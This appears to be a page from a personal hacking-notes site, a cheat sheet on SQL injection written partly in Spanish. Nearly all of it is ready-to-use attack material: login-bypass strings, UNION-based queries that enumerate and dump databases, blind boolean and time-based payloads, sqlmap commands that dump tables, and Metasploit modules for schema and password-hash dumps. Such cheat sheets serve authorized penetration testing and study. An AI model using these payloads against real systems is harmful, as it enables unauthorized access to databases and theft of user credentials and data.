> For the complete documentation index, see [llms.txt](https://hack.jesssperez.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hack.jesssperez.com/web-hacking-1/vuln-checklist/sqli.md).

# SQLi

#### SQLi PoC - Login Form

```bash
admin' --
admin' #
admin' /*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
```

#### SQLi test:

```
'or 1=1-- -
'or sleep(5)-- -
'and sleep(5)-- -
```

#### Dump Manual:

<pre><code><strong># Comprobar número DBs
</strong>' union select 1,2,3-- - # Inyectamos en el número/s que se muestre.

<strong># Enumera DB
</strong>' union select group_concat (schema_name)2,3 from information_schema.schemata-- -

<strong># Enumera Tablas
</strong>' union select group_concat (table_name)2,3 from information_schema.tables where table_schema="&#x3C;db-name>"-- -

<strong># Enumera Columnas
</strong>' union select group_concat (column_name)2,3 from information_schema.columns where table_schema="&#x3C;db-name>" and table_name="&#x3C;table-name>"-- -

<strong># Enumera Data
</strong>' union select group_concat (&#x3C;column-name>)2,3 from &#x3C;table-name>
</code></pre>

### SQLMap

<pre class="language-bash"><code class="lang-bash"><strong># Test
</strong>sqlmap -u &#x3C;http://sitio.web/view.php?parámetro=1>

<strong># Vulnerable Login form
</strong>sqlmap -u &#x3C;"http://URL/login.php"> --data=&#x3C;user=x&#x26;pass=x> -p &#x3C;parametro> --dbs
sqlmap -u &#x3C;"http://URL/login.php"> --data=&#x3C;user=x&#x26;pass=x> -p parametro -D &#x3C;db> --tables
sqlmap -u &#x3C;"http://URL/login.php"> --data=&#x3C;user=x&#x26;pass=x> -p parametro -D &#x3C;db> -T &#x3C;table> --columns
sqlmap -u &#x3C;"http://URL/login.php"> --data=&#x3C;user=x&#x26;pass=x> -p parametro -D &#x3C;db> -T &#x3C;table> -C &#x3C;columns> --dump
</code></pre>

#### MySQL dump - METASPLOIT

```bash
mysql -h <IPv> -u <user> -p

msfconsole
search mysql_sql
search mysql_schemadump # Tablas
search mysql_hashdump # Hashes
```

#### Lectura de SQLite DB:

```bash
sqlite <db-name>
.tables (Ver tablas)
PRAGMA table_info(table-name);
SELECT * FROM (table-name);
```

## Manual Blind SQLi

#### Authentication Bypass:

```bash
select * from users where username='' and password='' OR 1=1;
```

#### Boolean BasedzZZzzZZzzz...

```bash
' UNION SELECT 1,2,3;--
' UNION SELECT 1,2,3 where database() like 's%';--
' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'db' and table_name like 'a%';--
' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='db' and TABLE_NAME='table' and COLUMN_NAME like 'a%';
' UNION SELECT 1,2,3 from users where username like 'a%
' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%
```

#### Time Based:

```bash
' UNION SELECT SLEEP(5),2;--
parametro=' UNION SELECT SLEEP(5),2 where database() like 'u%';--
```